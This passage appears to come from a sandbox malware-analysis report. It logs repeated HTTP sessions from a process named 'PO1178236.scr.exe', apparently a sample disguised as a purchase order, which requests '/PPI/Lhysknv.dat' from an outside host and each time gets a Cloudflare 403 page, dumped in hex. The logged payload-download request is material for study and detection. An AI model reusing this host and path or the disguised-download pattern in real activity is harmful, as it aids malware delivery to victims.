5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 1555<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2025-01-09 07:29:18 UTC	1369	IN	Data Raw: 66 6c 61 72 65 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 Data Ascii: flare</title><meta charset="UTF-8" /><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta http-equiv="X-UA-Compatible" content="IE=Edge" /><meta name="robots" content="noindex, nofollow" /><meta name="viewport" content="width=de
2025-01-09 07:29:18 UTC	1369	IN	Data Raw: 20 63 66 2d 68 69 67 68 6c 69 67 68 74 22 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 77 72 61 70 70 65 72 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 63 6f 6e 74 61 69 6e 65 72 20 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 66 75 6c 6c 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 6e 6f 2d 73 63 72 65 65 6e 73 68 6f 74 20 65 72 72 6f 72 22 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 3c 2f 64 69 76 3e 3c 21 2d 2d 20 2f 2e 63 61 70 Data Ascii: cf-highlight"> <div class="cf-wrapper"> <div class="cf-screenshot-container cf-screenshot-full"> <span class="cf-no-screenshot error"></span> </div> </div> </div>... /.cap
2025-01-09 07:29:18 UTC	1369	IN	Data Raw: 2d 6c 65 66 74 20 62 6f 72 64 65 72 2d 73 6f 6c 69 64 20 62 6f 72 64 65 72 2d 30 20 62 6f 72 64 65 72 2d 74 20 62 6f 72 64 65 72 2d 67 72 61 79 2d 33 30 30 22 3e 0a 20 20 3c 70 20 63 6c 61 73 73 3d 22 74 65 78 74 2d 31 33 22 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 43 6c 6f 75 64 66 6c 61 72 65 20 52 61 79 20 49 44 3a 20 3c 73 74 72 6f 6e 67 20 63 6c 61 73 73 3d 22 66 6f 6e 74 2d 73 65 6d 69 62 6f 6c 64 22 3e 38 66 66 32 62 37 32 62 31 64 35 63 38 63 34 35 3c 2f 73 74 72 6f 6e 67 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 64 64 65 6e Data Ascii: -left border-solid border-0 border-t border-gray-300"> <p class="text-13"> <span class="cf-footer-item sm:block sm:mb-1">Cloudflare Ray ID: <strong class="font-semibold">8ff2b72b1d5c8c45</strong></span> <span class="cf-footer-separator sm:hidden
2025-01-09 07:29:18 UTC	1000	IN	Data Raw: 6e 64 6f 77 2e 5f 63 66 5f 74 72 61 6e 73 6c 61 74 69 6f 6e 20 3d 20 7b 7d 3b 0a 20 20 0a 20 20 0a 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 73 63 72 69 70 74 3e 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 63 28 29 7b 76 61 72 20 62 3d 61 2e 63 6f 6e 74 65 6e 74 44 6f 63 75 6d 65 6e 74 7c 7c 61 2e 63 6f 6e 74 65 6e 74 57 69 6e 64 6f 77 2e 64 6f 63 75 6d 65 6e 74 3b 69 66 28 62 29 7b 76 61 72 20 64 3d 62 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 27 73 63 72 69 70 74 27 29 3b 64 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 77 69 6e 64 6f 77 2e 5f 5f 43 46 24 63 76 24 70 61 72 61 6d 73 3d 7b 72 3a 27 38 66 66 32 62 37 32 62 31 64 35 63 38 63 34 35 27 2c 74 3a 27 4d 54 63 7a 4e 6a 51 77 4e 7a 63 31 4f 43 34 77 4d 44 41 77 4d 44 41 3d 27 7d 3b 76 61 72 Data Ascii: ndow._cf_translation = {}; </script><script>(function(){function c(){var b=a.contentDocument\|\|a.contentWindow.document;if(b){var d=b.createElement('script');d.innerHTML="window.__CF$cv$params={r:'8ff2b72b1d5c8c45',t:'MTczNjQwNzc1OC4wMDAwMDA='};var
2025-01-09 07:29:18 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
95	192.168.2.4	49858	188.114.96.3	443	7432	C:\Users\user\Desktop\PO1178236.scr.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 07:29:19 UTC	66	OUT	GET /PPI/Lhysknv.dat HTTP/1.1 Host: www.vascocorretora.com.br
2025-01-09 07:29:19 UTC	1005	IN	HTTP/1.1 403 Forbidden Date: Thu, 09 Jan 2025 07:29:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=15 Expires: Thu, 09 Jan 2025 07:29:34 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=9OPqie2nSIrAjkt0yzGCQhZYjpqDdH96jY6mbxTRiB75V%2FuSvIpBwC1jqy55Bj3b1nPZ5mEau%2BF9rVsalKvzNpB2kxAOjtGGRVnlvoBl9W8kzCiwo0SDe8X3QwOfYHeUoWX2Hz%2BmkiznN6cv"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} expect-ct: max-age=86400, enforce referrer-policy: same-origin x-content-type-options: nosniff x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block Server: cloudflare CF-RAY: 8ff2b72ece35726e-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1957&min_rtt=1948&rtt_var=750&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1440552&cwnd=224&unsent_bytes=0&cid=fe3b037447690aa0&ts=131&x=0"
2025-01-09 07:29:19 UTC	364	IN	Data Raw: 31 35 35 35 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 1555<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2025-01-09 07:29:19 UTC	1369	IN	Data Raw: 61 72 65 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 Data Ascii: are</title><meta charset="UTF-8" /><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta http-equiv="X-UA-Compatible" content="IE=Edge" /><meta name="robots" content="noindex, nofollow" /><meta name="viewport" content="width=devi
2025-01-09 07:29:19 UTC	1369	IN	Data Raw: 66 2d 68 69 67 68 6c 69 67 68 74 22 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 77 72 61 70 70 65 72 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 63 6f 6e 74 61 69 6e 65 72 20 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 66 75 6c 6c 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 6e 6f 2d 73 63 72 65 65 6e 73 68 6f 74 20 65 72 72 6f 72 22 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 3c 2f 64 69 76 3e 3c 21 2d 2d 20 2f 2e 63 61 70 74 63 Data Ascii: f-highlight"> <div class="cf-wrapper"> <div class="cf-screenshot-container cf-screenshot-full"> <span class="cf-no-screenshot error"></span> </div> </div> </div>... /.captc
2025-01-09 07:29:19 UTC	1369	IN	Data Raw: 65 66 74 20 62 6f 72 64 65 72 2d 73 6f 6c 69 64 20 62 6f 72 64 65 72 2d 30 20 62 6f 72 64 65 72 2d 74 20 62 6f 72 64 65 72 2d 67 72 61 79 2d 33 30 30 22 3e 0a 20 20 3c 70 20 63 6c 61 73 73 3d 22 74 65 78 74 2d 31 33 22 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 43 6c 6f 75 64 66 6c 61 72 65 20 52 61 79 20 49 44 3a 20 3c 73 74 72 6f 6e 67 20 63 6c 61 73 73 3d 22 66 6f 6e 74 2d 73 65 6d 69 62 6f 6c 64 22 3e 38 66 66 32 62 37 32 65 63 65 33 35 37 32 36 65 3c 2f 73 74 72 6f 6e 67 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 64 64 65 6e 22 3e Data Ascii: eft border-solid border-0 border-t border-gray-300"> <p class="text-13"> <span class="cf-footer-item sm:block sm:mb-1">Cloudflare Ray ID: <strong class="font-semibold">8ff2b72ece35726e</strong></span> <span class="cf-footer-separator sm:hidden">
2025-01-09 07:29:19 UTC	998	IN	Data Raw: 6f 77 2e 5f 63 66 5f 74 72 61 6e 73 6c 61 74 69 6f 6e 20 3d 20 7b 7d 3b 0a 20 20 0a 20 20 0a 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 73 63 72 69 70 74 3e 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 63 28 29 7b 76 61 72 20 62 3d 61 2e 63 6f 6e 74 65 6e 74 44 6f 63 75 6d 65 6e 74 7c 7c 61 2e 63 6f 6e 74 65 6e 74 57 69 6e 64 6f 77 2e 64 6f 63 75 6d 65 6e 74 3b 69 66 28 62 29 7b 76 61 72 20 64 3d 62 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 27 73 63 72 69 70 74 27 29 3b 64 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 77 69 6e 64 6f 77 2e 5f 5f 43 46 24 63 76 24 70 61 72 61 6d 73 3d 7b 72 3a 27 38 66 66 32 62 37 32 65 63 65 33 35 37 32 36 65 27 2c 74 3a 27 4d 54 63 7a 4e 6a 51 77 4e 7a 63 31 4f 53 34 77 4d 44 41 77 4d 44 41 3d 27 7d 3b 76 61 72 20 61 Data Ascii: ow._cf_translation = {}; </script><script>(function(){function c(){var b=a.contentDocument\|\|a.contentWindow.document;if(b){var d=b.createElement('script');d.innerHTML="window.__CF$cv$params={r:'8ff2b72ece35726e',t:'MTczNjQwNzc1OS4wMDAwMDA='};var a
2025-01-09 07:29:19 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
96	192.168.2.4	49863	188.114.96.3	443	7432	C:\Users\user\Desktop\PO1178236.scr.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 07:29:19 UTC	66	OUT	GET /PPI/Lhysknv.dat HTTP/1.1 Host: www.vascocorretora.com.br
2025-01-09 07:29:19 UTC	1009	IN	HTTP/1.1 403 Forbidden Date: Thu, 09 Jan 2025 07:29:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=15 Expires: Thu, 09 Jan 2025 07:29:34 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=RyKKvjyvV%2ByAJCNiKIqV8fbE7bU1FGUnszbBs8UxdXM7VqrzjaG4dCXid%2BY39uA3TKc%2BPM2sRT7J%2FE5VkgD9H%2BcSDlVj8XUgeYrukIZybN03JkAb9ClEEofqFmwGXS2x8kmgT7qYaG2xJCn1"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} expect-ct: max-age=86400, enforce referrer-policy: same-origin x-content-type-options: nosniff x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block Server: cloudflare CF-RAY: 8ff2b732ab3a7d26-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1932&min_rtt=1921&rtt_var=743&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1451292&cwnd=205&unsent_bytes=0&cid=4e0e041708636174&ts=153&x=0"
2025-01-09 07:29:19 UTC	360	IN	Data Raw: 31 35 35 35 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 1555<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2025-01-09 07:29:19 UTC	1369	IN	Data Raw: 75 64 66 6c 61 72 65 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d Data Ascii: udflare</title><meta charset="UTF-8" /><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta http-equiv="X-UA-Compatible" content="IE=Edge" /><meta name="robots" content="noindex, nofollow" /><meta name="viewport" content="width=
2025-01-09 07:29:19 UTC	1369	IN	Data Raw: 6f 6e 20 63 66 2d 68 69 67 68 6c 69 67 68 74 22 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 77 72 61 70 70 65 72 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 63 6f 6e 74 61 69 6e 65 72 20 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 66 75 6c 6c 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 6e 6f 2d 73 63 72 65 65 6e 73 68 6f 74 20 65 72 72 6f 72 22 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 3c 2f 64 69 76 3e 3c 21 2d 2d 20 2f 2e 63 Data Ascii: on cf-highlight"> <div class="cf-wrapper"> <div class="cf-screenshot-container cf-screenshot-full"> <span class="cf-no-screenshot error"></span> </div> </div> </div>... /.c
2025-01-09 07:29:19 UTC	1369	IN	Data Raw: 78 74 2d 6c 65 66 74 20 62 6f 72 64 65 72 2d 73 6f 6c 69 64 20 62 6f 72 64 65 72 2d 30 20 62 6f 72 64 65 72 2d 74 20 62 6f 72 64 65 72 2d 67 72 61 79 2d 33 30 30 22 3e 0a 20 20 3c 70 20 63 6c 61 73 73 3d 22 74 65 78 74 2d 31 33 22 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 43 6c 6f 75 64 66 6c 61 72 65 20 52 61 79 20 49 44 3a 20 3c 73 74 72 6f 6e 67 20 63 6c 61 73 73 3d 22 66 6f 6e 74 2d 73 65 6d 69 62 6f 6c 64 22 3e 38 66 66 32 62 37 33 32 61 62 33 61 37 64 32 36 3c 2f 73 74 72 6f 6e 67 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 64 64 Data Ascii: xt-left border-solid border-0 border-t border-gray-300"> <p class="text-13"> <span class="cf-footer-item sm:block sm:mb-1">Cloudflare Ray ID: <strong class="font-semibold">8ff2b732ab3a7d26</strong></span> <span class="cf-footer-separator sm:hidd
2025-01-09 07:29:19 UTC	1002	IN	Data Raw: 77 69 6e 64 6f 77 2e 5f 63 66 5f 74 72 61 6e 73 6c 61 74 69 6f 6e 20 3d 20 7b 7d 3b 0a 20 20 0a 20 20 0a 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 73 63 72 69 70 74 3e 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 63 28 29 7b 76 61 72 20 62 3d 61 2e 63 6f 6e 74 65 6e 74 44 6f 63 75 6d 65 6e 74 7c 7c 61 2e 63 6f 6e 74 65 6e 74 57 69 6e 64 6f 77 2e 64 6f 63 75 6d 65 6e 74 3b 69 66 28 62 29 7b 76 61 72 20 64 3d 62 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 27 73 63 72 69 70 74 27 29 3b 64 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 77 69 6e 64 6f 77 2e 5f 5f 43 46 24 63 76 24 70 61 72 61 6d 73 3d 7b 72 3a 27 38 66 66 32 62 37 33 32 61 62 33 61 37 64 32 36 27 2c 74 3a 27 4d 54 63 7a 4e 6a 51 77 4e 7a 63 31 4f 53 34 77 4d 44 41 77 4d 44 41 3d 27 7d 3b 76 Data Ascii: window._cf_translation = {}; </script><script>(function(){function c(){var b=a.contentDocument\|\|a.contentWindow.document;if(b){var d=b.createElement('script');d.innerHTML="window.__CF$cv$params={r:'8ff2b732ab3a7d26',t:'MTczNjQwNzc1OS4wMDAwMDA='};v
2025-01-09 07:29:19 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
97	192.168.2.4	49868	188.114.96.3	443	7432	C:\Users\user\Desktop\PO1178236.scr.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 07:29:20 UTC	66	OUT	GET /PPI/Lhysknv.dat HTTP/1.1 Host: www.vascocorretora.com.br
2025-01-09 07:29:20 UTC	1009	IN	HTTP/1.1 403 Forbidden Date: Thu, 09 Jan 2025 07:29:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=15 Expires: Thu, 09 Jan 2025 07:29:35 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=GLk4n3UHU5OEVkZsB9iNmoSv6u%2FQ1uvaPJbb%2F%2B%2BoTfRcU83c8c2Ni37yykqPW4Tg6hZEHpQ6flZLSFz3qMC3NEXwRe5%2BZexUd4ONbr1XhnSlEm3zuAHkDB62D2Bv7EE8ApK0zIdEhykb7eFG"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} expect-ct: max-age=86400, enforce referrer-policy: same-origin x-content-type-options: nosniff x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block Server: cloudflare CF-RAY: 8ff2b736596e435d-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1574&min_rtt=1567&rtt_var=602&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2853&recv_bytes=704&delivery_rate=1798029&cwnd=128&unsent_bytes=0&cid=922b4a8d4ccf4107&ts=129&x=0"
2025-01-09 07:29:20 UTC	360	IN	Data Raw: 31 35 35 35 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 1555<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2025-01-09 07:29:20 UTC	1369	IN	Data Raw: 75 64 66 6c 61 72 65 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d Data Ascii: udflare</title><meta charset="UTF-8" /><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta http-equiv="X-UA-Compatible" content="IE=Edge" /><meta name="robots" content="noindex, nofollow" /><meta name="viewport" content="width=
